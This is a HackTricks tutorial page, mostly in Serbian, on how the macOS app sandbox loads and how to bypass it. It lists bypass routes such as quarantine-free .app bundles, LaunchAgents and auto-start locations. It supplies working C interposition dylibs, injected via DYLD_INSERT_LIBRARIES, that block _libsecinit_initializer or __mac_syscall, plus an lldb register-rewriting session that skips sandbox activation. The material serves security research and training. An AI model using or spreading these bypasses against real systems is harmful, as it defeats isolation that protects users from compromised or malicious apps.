macOS Sandbox Debug & Bypass

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Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

U prethodnoj slici moguće je posmatrati kako će sandbox biti učitan kada se pokrene aplikacija sa ovlašćenjem com.apple.security.app-sandbox.

Kompajler će povezati /usr/lib/libSystem.B.dylib sa binarnim fajlom.

Zatim, libSystem.B će pozivati nekoliko drugih funkcija dok xpc_pipe_routine ne pošalje ovlašćenja aplikacije securityd. Securityd proverava da li proces treba da bude u karantinu unutar Sandbox-a, i ako je tako, biće stavljeni u karantinu. Na kraju, sandbox će biti aktiviran pozivom __sandbox_ms koji će pozvati __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

Fajlovi koje kreiraju procesi u sandbox-u dobijaju atribut karantina kako bi se sprečilo bekstvo iz sandbox-a. Međutim, ako uspete da napravite .app folder bez atributa karantina unutar aplikacije u sandbox-u, mogli biste da usmerite binarni fajl aplikacije na /bin/bash i dodate neke env varijable u plist da zloupotrebite open kako biste pokrenuli novu aplikaciju bez sandbox-a.

To je ono što je učinjeno u CVE-2023-32364.

Stoga, u ovom trenutku, ako ste samo sposobni da kreirate folder sa imenom koje se završava na .app bez atributa karantina, možete pobjeći iz sandbox-a jer macOS samo proverava atribut karantina u .app folderu i u glavnom izvršnom fajlu (a mi ćemo usmeriti glavni izvršni fajl na /bin/bash).

Imajte na umu da ako je .app paket već autorizovan za pokretanje (ima atribut karantina sa oznakom autorizacije za pokretanje), takođe biste mogli da ga zloupotrebite... osim što sada ne možete pisati unutar .app paketa osim ako nemate neka privilegovana TCC dopuštenja (koja nećete imati unutar visokog sandbox-a).

Abusing Open functionality

U poslednjim primerima za zaobilaženje Word sandbox-a može se primetiti kako se open CLI funkcionalnost može zloupotrebiti za zaobilaženje sandbox-a.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

Čak i ako je aplikacija namenjena za sandbox (com.apple.security.app-sandbox), moguće je zaobići sandbox ako se izvrši iz LaunchAgent-a (~/Library/LaunchAgents), na primer. Kao što je objašnjeno u ovom postu, ako želite da dobijete postojanost sa aplikacijom koja je u sandbox-u, mogli biste je automatski izvršiti kao LaunchAgent i možda injektovati zloćudni kod putem DyLib varijabli okruženja.

Abusing Auto Start Locations

Ako proces u sandbox-u može pisati na mesto gde kasnije nesandbox aplikacija planira da pokrene binarni fajl, moći će da pobegne jednostavno postavljanjem binarnog fajla tamo. Dobar primer ovakvih lokacija su ~/Library/LaunchAgents ili /System/Library/LaunchDaemons.

Za ovo možda čak i trebate 2 koraka: Da napravite proces sa permisivnijim sandbox-om (file-read*, file-write*) koji će izvršiti vaš kod koji će zapravo pisati na mesto gde će biti izvršen bez sandbox-a.

Proverite ovu stranicu o Auto Start lokacijama:

macOS Auto Start

Abusing other processes

Ako iz sandbox procesa uspete da kompromitujete druge procese koji se izvršavaju u manje restriktivnim sandbox-ima (ili nijednom), moći ćete da pobegnete u njihove sandbox-e:

macOS Process Abuse

Static Compiling & Dynamically linking

Ova istraživanja otkrila su 2 načina za zaobilaženje Sandbox-a. Zato što se sandbox primenjuje iz korisničkog prostora kada se libSystem biblioteka učita. Ako bi binarni fajl mogao da izbegne učitavanje, nikada ne bi bio pod sandbox-om:

• Ako je binarni fajl potpuno statički kompajliran, mogao bi da izbegne učitavanje te biblioteke.

• Ako binarni fajl ne bi trebao da učita nijednu biblioteku (jer je linker takođe u libSystem), ne bi trebao da učita libSystem.

Shellcodes

Imajte na umu da čak i shellcodes u ARM64 treba da budu povezani u libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Napomena da čak i ako su neke akcije možda dozvoljene od strane sandučeta ako aplikacija ima specifičnu ovlašćenost, kao u:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Za više informacija o Interpostingu pogledajte:

macOS Function Hooking

Interpost _libsecinit_initializer da sprečite sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall da sprečite Sandbox

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

Hajde da kompajliramo aplikaciju koja bi trebala biti u sandboxu:

sand.c

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

entitlements.xml

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

Info.plist

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Zatim kompajlirajte aplikaciju:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

Aplikacija će pokušati da pročita datoteku ~/Desktop/del.txt, koju Sandbox neće dozvoliti. Kreirajte datoteku tamo jer će, kada se Sandbox zaobiđe, moći da je pročita:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Hajde da debagujemo aplikaciju da vidimo kada se Sandbox učitava:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Čak i kada je Sandbox zaobiđen, TCC će pitati korisnika da li želi da dozvoli procesu da čita datoteke sa radne površine

References

• http://newosxbook.com/files/HITSB.pdf

• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/

• https://www.youtube.com/watch?v=mG715HcDgO8

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

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• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.